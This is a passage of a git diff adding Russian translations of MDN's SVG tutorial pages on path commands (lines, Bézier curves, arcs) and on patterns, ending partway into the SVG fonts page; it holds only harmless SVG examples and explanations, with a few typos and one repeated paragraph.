+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
+
+<p>Элемент <a href="/en-US/Web/SVG/Element/path"><code>&lt;path&gt;</code></a> ("путь")– наиболее мощный элемент в библиотеке <a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes">основных форм</a> SVG. С его помощью можно создавать отрезки, кривые, дуги и многое другое.</p>
+
+<p>С помощью элементов <code><a href="/en-US/Web/SVG/Element/path">&lt;path&gt;</a></code> создают сложные формы, объединяя многочисленные прямые и кривые линии. Сложные формы из одних только прямых линий можно создавать и через элемент <code><a href="/en-US/docs/">polyline</a></code>. Хотя результаты работы обоих элементов могут быть похожи, элемент <code>polyline </code>отображает кривые как много маленьких прямых линий, что не очень хорошо масштабируется до больших размеров. Хорошее понимание path важно при рисовании SVG. При создании сложных paths не рекомендуется использовать XML или текстовые редакторы – понимание, как они работают, позволит установить и исправить проблемы с отображением SVG.</p>
+
+<p>Форма элемента path определяется одним атрибутом: {{ SVGAttr("d") }} (смотри подробности в <a href="/en-US/docs/">основные формы</a>). Атрибут <code>d</code> содержит серию команд и параметров, используемых этими командами. Мы опишем доступные команды и покажем примеры того, что они делают.</p>
+
+<p>Каждая команда обозначается специальной буквой. Например, нам надо переместиться в точку с координатами (10,10).  Команда "Передвинуть к" вызывается буквой M. Когда синтаксический анализатор наталкивается на эту команду, он знает, что необходимо переместиться к указанной точке. Итак, для перемещения к точке (10,10) используется команда "M 10 10", и далее синтаксический анализатор переходит к следующей команде.</p>
+
+<p>Все команды существуют в двух вариантах: вызов команды с <strong>заглавной буквы</strong> обозначает абсолютные координаты на странице, а команда со <strong>строчной буквой </strong>-относительные (например, <em>перемещение от последней точки</em> <em>на</em> <em>10px вверх и 7px влево</em>).</p>
+
+<p>Координаты в атрибуте <code>d</code> всегда пишутся без указания единиц измерения<strong> </strong>и находятся в системе пользовательских координат (обычно это пиксели). Позже мы рассмотрим, как элемент paths может быть трансформирован для других нужд.</p>
+
+<h2 id="Команды_линии">Команды линии</h2>
+
+<p>Существуют пять команд линии для узлов <code>&lt;path&gt;</code>.  Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <code>&lt;path&gt;</code> для указания точки, откуда начнется рисование, например:</p>
+
+<pre>M x y
+</pre>
+
+<p>или</p>
+
+<pre>m dx dy</pre>
+
+<p>Следующий пример рисует одну только точку (10,10). Заметьте, однако, что при обычном использовании <code>&lt;path&gt;</code> она вообще не была бы видна.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/45/=Blank_Path_Area.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10"/&gt;
+
+  &lt;!-- Точки --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>Существуют три команды, которые рисуют линии. Самая общая - команда "Линия к", вызываемая буквой L. Эта команда принимает два параметра - координаты точки x и y - и рисует линию от текущего положения к этой точке.</p>
+
+<pre> L x y (или l dx dy)
+</pre>
+
+<p>Для рисования горизонтальных и вертикальных линий есть две укороченные формы . H рисует горизонтальную линию, а V рисует вертикальную линию. Обе команды используют только один аргумент, так как они движутся только в одном направлении.</p>
+
+<pre> H x (или h dx)
+ V y (или v dy)
+</pre>
+
+<p>Начнем с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <code>&lt;rect&gt;</code>). Он состоит только из горизонтальных и вертикальных линий<span style="line-height: 1.5;">:</span></p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10 H 90 V 90 H 10 L 10 10"/&gt;
+
+  &lt;!-- Точки --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="90" r="2" fill="red"/&gt;
+  &lt;circle cx="90" cy="10" r="2" fill="red"/&gt;
+  &lt;circle cx="10" cy="90" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", <code>Z</code>. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для нее регистр буквы не важен.</p>
+
+<pre> Z (или z)
+</pre>
+
+<p>Таким образом наш путь из примера можно сократить до:</p>
+
+<pre class="brush: xml"> &lt;path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>Точно такую же картину можно получить с помощью относительных форм этих команд. Как уже говорилось, относительные команды вызываются использованием букв нижнего регистра и перемещают курсор относительно его последнего положения, а не к точным координатам . В нашем примере, поскольку размеры нашего квадрата - 80 x 80, элемент <code>&lt;path&gt;</code> можно записать так:</p>
+
+<pre class="brush: xml"> &lt;path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/&gt;
+</pre>
+
+<p>Путь начнется от точки (10,10), пойдет горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.</p>
+
+<p>Возможно, в этих примерах было бы проще использовать элементы <code>&lt;polygon&gt;</code> или <code>&lt;polyline&gt;</code>.<code> </code>Однако, пути используются при рисовании SVG настолько часто, что многим разработчикам может быть удобнее использовать их вместо других элементов.  Нет никакой разницы в производительности при использовании того или другого.</p>
+
+<h2 id="Команды_кривых_линий">Команды кривых линий</h2>
+
+<p>Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Информации о кривых Безье слишком много, чтобы попытаться охватить ее здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.</p>
+
+<h3 id="Кривые_Безье">Кривые Безье</h3>
+
+<p>Кубическая кривая, C, представляет собой немного более сложную кривую. Кубическая Безье принимает две контрольные точки для каждой точки.  Таким образом, чтобы создать кубическую кривую Безье, вам необходимо указать три набора координат.</p>
+
+<pre> C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
+</pre>
+
+<p>Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создает плавную кривую, которая ведет от наклона, который вы установили в начале вашей линии к наклону на другом конце.</p>
+
+<p><img alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделенными становятся контрольные точки. Ближе к правому, становятся более отделенными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.</p>
+
+<p>Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращенную запись для кривой Безье, используя команду S (или s).</p>
+
+<pre> S x2 y2, x y (or s dx2 dy2, dx dy)
+</pre>
+
+<p>Команда S задаёт тот же тип кривой, что и был, но если он следует за другой S или C командой, подразумевается, что первая контрольная точка - отражение той, что использовалась перед этим. Если команда S не следует за другой командой S или C, то подразумевается, что обе контрольные точки для кривой одинаковы. Пример синтаксиса показан ниже. В фигуре слева контрольные точки показаны красным, а подразумеваемая контрольная точка - синим.</p>
+
+<p><img alt="ShortCut_Cubic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10405/ShortCut_Cubic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Другой тип кривой Безье - квадратичная кривая, задаётся командой Q. Квадратичная кривая проще, чем кубическая: для неё требуется только одна контрольная точка, которая определяет наклон кривой как в начальной, так и в конечной точке. Она принимает два аргумента: контрольную точку и конец кривой.</p>
+
+<pre> Q x1 y1, x y (or q dx1 dy1, dx dy)
+</pre>
+
+<p><img alt="Quadratic Bézier with grid" class="internal" src="https://mdn.mozillademos.org/files/10403/Quadratic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Как и в случае кубической кривой Безье, существует сокращение для соединения нескольких квадратичных кривых Безье -T.</p>
+
+<pre> T x y (or t dx dy)
+</pre>
+
+<p>Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из нее новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.</p>
+
+<div class="blockIndicator note">
+<p>Обратите внимание, что это работает только в том случае, если предыдущей командой была команда Q или T. Если это не так, то контрольная точка считается той же, что и предыдущая, и вы нарисуете только линии.</p>
+</div>
+
+<p><img alt="Shortcut_Quadratic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10407/Shortcut_Quadratic_Bezier_with_grid.png" style="float: right; height: 158px; width: 188px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Обе кривые дают похожие результаты, но кубическая кривая позволяет больше свободы в том, как должна выглядеть кривая. Решение, какую кривую использовать - ситуационное и зависит от количества симметрии в линиях.</p>
+
+<h3 id="Arcs" name="Arcs">Дуги</h3>
+
+<p>Другой тип кривых линий, которые можно создать с помощью SVG - дуга (команда A). Дуги - секции кругов или эллипсов. При заданных x- и y-радиусах есть два эллипса, которые могут соединяться любыми двумя точками (пока они находятся внутри радиуса круга). Вдоль любого из этих кругов есть два пути, которые могут испольовать для соединения точек, так что в любой ситуации возможно 4 дуги.</p>
+
+<pre> A rx ry x-axis-rotation large-arc-flag sweep-flag x y
+ a rx ry x-axis-rotation large-arc-flag sweep-flag dx dy
+</pre>
+
+<p>В начале элемент дуги принимает два аргумента радиусов. Если нужно, обратитесь к разделу <a href="https://developer.mozilla.org/en-US/Web/SVG/Element/ellipse">Эллипсы</a>, чтобы увидеть, как они работают. Последние два аргумента предназначены для обозначения координат окончания дуги. Вместе эти четыре значения определяют основную структуры дуги.</p>
+
+<p>Третий параметр описывает поворот дуги. См. пример ниже</p>
+
+<p><img alt="SVGArcs_XAxisRotation_with_grid" class="internal" src="https://mdn.mozillademos.org/files/10409/SVGArcs_XAxisRotation_with_grid.png" style="float: right; height: 201px; width: 200px;"></p>
+
+<pre class="brush: xml">&lt;svg width="320" height="320" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 315
+           L 110 215
+           A 30 50 0 0 1 162.55 162.45
+           L 172.55 152.45
+           A 30 50 -45 0 1 215.1 109.9
+           L 315 10" stroke="black" fill="green" stroke-width="2" fill-opacity="0.5"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Пример показывает элемент <em>path</em>, который проходит по странице диагонально. В центре этого элемента вырезаны две эллиптические дуги (радиус x = 30, радиус y = 50). В первой дуге параметр <em>x-asix-rotation = 0</em>, а это означает, что эллипс, по которому проходит дуга (показан серым) расположен вертикально. Во второй дуге параметр <em>x-asix-rotation = -45. </em>Это поворачивает эллипс так, что направление его малой оси совпадает с направлением пути, как это видно на рисунке выше.</p>
+
+<p>Четыре разных пути, упомянутых выше определяются с помощью двух аргументов-флагов. Как упоминалось ранее, есть ещё два возможных эллипса для обхода пути и два разных возможных пути на обоих эллипсах, что даёт четыре возможных пути. Первый аргумент - <em>large-arc-flag. </em>Он определяет, должна ли дуга быть больше или меньше 180 градусов. В конечном счёте этот флаг определяет, в каком направлении дуга будет обходить данный круг. Второй аргумент - <em>sweep-flag. </em>Он определяет, должна дуга двигаться по отрицательным углам или по положительным, т.е. по сути определяет по какому из двух кругов она будет идти. Пример ниже показывает все четыре возможные комбинации.</p>
+
+<p><img alt="Show the 4 arcs on the Ellipse example" src="https://mdn.mozillademos.org/files/15822/SVGArcs_XAxisRotation_with_grid_ellipses.png"></p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg" width="320" height="320"&gt;
+  &lt;path d="M 10 315
+           L 110 215
+           A 36 60 0 0 1 150.71 170.29
+           L 172.55 152.45
+           A 30 50 -45 0 1 215.1 109.9
+           L 315 10" stroke="black" fill="green" stroke-width="2" fill-opacity="0.5"/&gt;
+  &lt;circle cx="150.71" cy="170.29" r="2" fill="red"/&gt;
+  &lt;circle cx="110" cy="215" r="2" fill="red"/&gt;
+  &lt;ellipse cx="144.931" cy="229.512" rx="36" ry="60" fill="transparent" stroke="blue"/&gt;
+  &lt;ellipse cx="115.779" cy="155.778" rx="36" ry="60" fill="transparent" stroke="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Заметьте, что каждый голубой эллипс сформирован двумя дугами, в завимости от того движетесь ли вы по часовой или против часовой стрелке. Каждый эллипс имеет короткую и длинную дуги. Оба эллипса просто зеркальные отражения друг друга. Они отражены вдоль линии, сформированной start-&gt;end точками.</p>
+
+<p>Если start-&gt;end точки расположены далеко и не попадают в пределы радусов эллипсов по x и y, то в этом случае радуисы эллипсов будут увеличены до величины, нужной чтобы достичь точек start-&gt;end. Интерактивный codepen внизу этой страницы наглядно это демонстрирует. Для определения достаточны ли велики радиусы ваших эллипсов чтобы требовать увеличения, вам нужно решить систему уравнений подобную <a href="https://www.wolframalpha.com/input/?i=solve+((110+-+x)%5E2%2F36%5E2)+%2B+((215+-+y)%5E2%2F60%5E2)+%3D+1,+((150.71+-+x)%5E2%2F36%5E2)+%2B+((170.29+-+y)%5E2%2F60%5E2)+%3D+1">этой на wolfram alpha</a>. Это вычислиние для non-rotated эллипса с start-&gt;end (110, 215)-&gt;(150.71, 170.29). Решенимем, (x, y), является центр эллипса(ов). Следющее вычисление для non-rotated эллипса с start-&gt;end (110, 215)-&gt;(162.55, 162.45). Решение будет <a href="https://www.wolframalpha.com/input/?i=solve+((110+-+x)%5E2%2F30%5E2)+%2B+((215+-+y)%5E2%2F50%5E2)+%3D+1,+((162.55+-+x)%5E2%2F30%5E2)+%2B+((162.45+-+y)%5E2%2F50%5E2)+%3D+1">мнимым</a> если радиусы ваших эллипсов слишком малы. Решение содержит небольшой мнимый компонент потому, что эллипсы были лишь слегка расширены.</p>
+
+<p>Четыре разных пути, упомянутых выше определяются с помощью двух аргументов-флагов. Как упоминалось ранее, есть ещё два возможных эллипса для обхода пути и два разных возможных пути на обоих эллипсах, что даёт четыре возможных пути. Первый аргумент - <em>large-arc-flag. </em>Он определяет, должна ли дуга быть больше или меньше 180 градусов. В конечном счёте этот флаг определяет, в каком направлении дуга будет обходить данный круг. Второй аргумент - <em>sweep-flag. </em>Он определяет, должна дуга двигаться по отрицательным углам или по положительным, т.е. по сути определяет по какому из двух кругов она будет идти. Пример ниже показывает все четыре возможные комбинации.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/345/=SVGArcs_Flags.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="325" height="325" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M80 80
+           A 45 45, 0, 0, 0, 125 125
+           L 125 80 Z" fill="green"/&gt;
+  &lt;path d="M230 80
+           A 45 45, 0, 1, 0, 275 125
+           L 275 80 Z" fill="red"/&gt;
+  &lt;path d="M80 230
+           A 45 45, 0, 0, 1, 125 275
+           L 125 230 Z" fill="purple"/&gt;
+  &lt;path d="M230 230
+           A 45 45, 0, 1, 1, 275 275
+           L 275 230 Z" fill="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Последние два аргумента, если вы ещё не догадались, обозначают координаты x и y, где заканчивается дуга. Дуги - лёгкий способ создавать части кругов или эллипсов в ваших рисунках. Например, круговая диаграмма требует отдельную дугу для каждого куска диаграммы.</p>
+
+<p>Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определен. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протестировано только в Хром и Файрфокс, может не работать в вашем браузере)</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
diff --git a/files/ru/web/svg/tutorial/patterns/index.html b/files/ru/web/svg/tutorial/patterns/index.html
new file mode 100644
index 0000000000..1db8bc9448
--- /dev/null
+++ b/files/ru/web/svg/tutorial/patterns/index.html
@@ -0,0 +1,76 @@
+---
+title: Шаблоны
+slug: Web/SVG/Tutorial/Patterns
+translation_of: Web/SVG/Tutorial/Patterns
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}</p>
+
+<h2 id="Шаблоны_Patterns">Шаблоны (Patterns)</h2>
+
+<p>Patterns, по моему мнению, одни из самых запутанных типов заполнения (<strong>fill </strong>types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определенно стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <code>&lt;defs&gt; в Вашем SVG-файле.</code></p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x="0" y="0" width=".25" height=".25"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Patterns','220','220','/files/725/SVG_Pattern_Example.png') }}</p>
+
+<p>Внутри элемента &lt;pattern&gt; вы можете использовать любые другие основные фигуры, которые использовались ранее.  И каждая из них может быть стилизована, используя любые из возможных вариантов стилизаций, которые Вы изучали до этого, включая градиенты и прозрачность. Выше мы просто нарисовали два прямоугольника внутри нашего шаблона (которые перекрываются, и один из которых в два раза больше другого и используется для заполнения всего шаблона), и один круг.</p>
+
+<p>Сбивающая с толку вещь - это определение единиц измерения и размера. В примере выше мы определили ширину и высоту соответствующими аттрибутами внутри паттерна, что бы указать как далеко паттерн будет "продолжаться", прежде чем начать повторяться. Также доступны <strong>x</strong> и <strong>y</strong> атрибуты для смещения стартовой точки этого прямоугольника в том месте где вы его отрисовываете. Причина по которой они тут использованы, описана ниже.</p>
+
+<p>Как и с <strong><code>gradientUnits</code></strong> атрибутом, использованном ранее, у паттерна также есть атрибут <strong><code>patternUnits</code> </strong>. Он определяет единицы измерения, которые принимают атрибуты. По дефолту используется значене "<strong>objectBoundingBox</strong>", (как и в предыдущем разделе). Так что значения от 0 до 1 будут масштабированы в зависимости от размеров объекта, к которому вы применяете паттерн. Поскольку в данном случае мы хотим, чтобы шаблон повторялся 4 раза по горизонтали и вертикали, ширину и высоту мы установили в значение 0.25. Что означает 0.25 от размера целевого объекта</p>
+
+<p>В отличие от градиентов, у паттернов есть 2ой атрибут - <code><strong>patternContentUnits</strong>, </code>который описывает единицы измерения, используемые в базовых фигурах внутри элемента <strong>pattern</strong>. Дефолтное значение для этого атрибута -  <strong>userSpaceOnUse</strong>, противоположность атрибуту <code><strong>patternUnits</strong>. </code>Это означает, что если Вы не укажете один или оба этих атрибута (<strong><code>patternContentUnits</code> </strong>и/или <strong><code>patternUnits</code></strong>), фигуры, которые Вы будете рисовать внутри блока &lt;<strong>pattern&gt;</strong>, будут отрисованы в другой системе координат (отличной от той, которую использует паттерн). Это может немного запутывать, если Вы пишете код вручную.</p>
+
+<p>Чтобы сделать эту работу в приведенном выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.<br>
+ Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещен на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты <strong>x</strong> и <strong>y</strong> шаблона должны были быть скорректированы до 10/200 = 0,05.</p>
+
+
+
+<p>Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все еще будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.<br>
+ Изменяя атрибут <strong><code>patternContentUnits</code></strong> , мы можем поместить все элементы в одну единую систему:</p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
+   &lt;rect x="0" y="0" width=".25" height=".25" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменен на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой <strong>userSpaceOnUse</strong>, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.</p>
+
+<p>Как ни удивительно, но в кругах Gecko, похоже, есть проблемы с рисованием, если их радиус установлен на что-то меньшее 0.075 (хотя их нужно масштабировать, чтобы иметь гораздо больший радиус, чем этот. Это может быть ошибкой только в шаблоне , Или вообще не ошибка, я не уверен).<br>
+ Чтобы обойти это, вероятно, лучше всего избегать рисования блоков «objectBoundingBox», если вам это не нужно.</p>
+
+<p>Ни одно из этих применений не является тем, о чем обычно думают, когда вы думаете о шаблоне. Шаблоны обычно имеют заданный размер и повторяются независимо от формы объекта. Чтобы создать что-то подобное - шаблон и его содержимое должны быть нарисованы в текущем userSpace, чтобы они не меняли форму, если объект:</p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"&gt;
+   &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+   &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+   &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведенных выше примеров показаны ниже на прямоугольнике, который слегка удлинен до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.</p>
+
+<p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}</p>
diff --git a/files/ru/web/svg/tutorial/svg_fonts/index.html b/files/ru/web/svg/tutorial/svg_fonts/index.html
new file mode 100644
index 0000000000..92cdb57f84
--- /dev/null
+++ b/files/ru/web/svg/tutorial/svg_fonts/index.html
@@ -0,0 +1,98 @@
+---
+title: SVG шрифты
+slug: Web/SVG/Tutorial/SVG_fonts
+translation_of: Web/SVG/Tutorial/SVG_fonts
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
+
+<p>Когда был написан стандарт SVG, поддержка веб-шрифтов еще не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.<br>
+  </p>
+
+<p class="note"><strong>SVG-шрифты корректно поддерживаются только в Safari.</strong><br>
+ Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25),  разработчики Mozilla отложили ее реализацию на неопределенное время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.</p>
+
+<p class="syntaxbox">Элемент {{ SVGElement("font") }} используется для определения SVG-шрифта.</p>
+
+<h2 id="Установка_шрифта">Установка шрифта</h2>
+
+<p> </p>
+
+<p>Есть некоторые нюансы, необходимые для вставки шрифта в SVG. Давайте рассмотрим пример объявления (указанный<a href="http://www.w3.org/TR/SVG/fonts.html#FontElement"> в спецификации</a>), и объясним детали.<br>
+  </p>
+
+<pre>&lt;font id="Font1" horiz-adv-x="1000"&gt;
+  &lt;font-face font-family="Super Sans" font-weight="bold" font-style="normal"
+      units-per-em="1000" cap-height="600" x-height="400"
+      ascent="700" descent="300"
+      alphabetic="0" mathematical="350" ideographic="400" hanging="500"&gt;
+    &lt;font-face-src&gt;
+      &lt;font-face-name name="Super Sans Bold"/&gt;
+    &lt;/font-face-src&gt;
+  &lt;/font-face&gt;
+  &lt;missing-glyph&gt;&lt;path d="M0,0h200v200h-200z"/&gt;&lt;/missing-glyph&gt;
+  &lt;glyph unicode="!" horiz-adv-x="300"&gt;&lt;!-- Outline of exclam. pt. glyph --&gt;&lt;/glyph&gt;
+  &lt;glyph unicode="@"&gt;&lt;!-- Outline of @ glyph --&gt;&lt;/glyph&gt;
+  &lt;!-- more glyphs --&gt;
+&lt;/font&gt;
+</pre>
+
+<p>Начнем с элемента {{ SVGElement("font") }}. Он имеет атрибут <code>id</code>, который позволяет ему ссылаться через URI (см. ниже). Атрибут <code>horiz-adv-x</code> определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. </p>
+
